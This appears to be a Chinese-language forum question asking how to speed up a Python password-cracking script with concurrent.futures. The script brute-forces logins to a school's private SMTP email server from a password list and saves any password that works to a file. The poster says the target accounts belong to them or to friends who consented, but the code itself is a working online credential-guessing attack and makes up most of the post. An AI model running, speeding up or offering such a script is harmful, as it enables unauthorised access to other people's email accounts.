/* 这并不是因为我的学校只使用 7 个整数而造成的任何非法行为,我想看看我是否能及时让它工作,因为目前我需要 1.59 年才能破解密码。学校在现场为任何相关人员提供自己的私人服务器,并且很容易检测到。我只会在他们允许的情况下对我或我的朋友这样做。*/
我只是想使用多处理或 concurrent.futures 使这个密码破解程序在合理的时间内运行。
这是我尝试将其并行化
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('myemail@private_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
这实际上只有当密码在第一行时才有效,它只输出我在那里写的指标,就像print ("Got to here3")
它不打印破解密码甚至将其写入文本文件一样。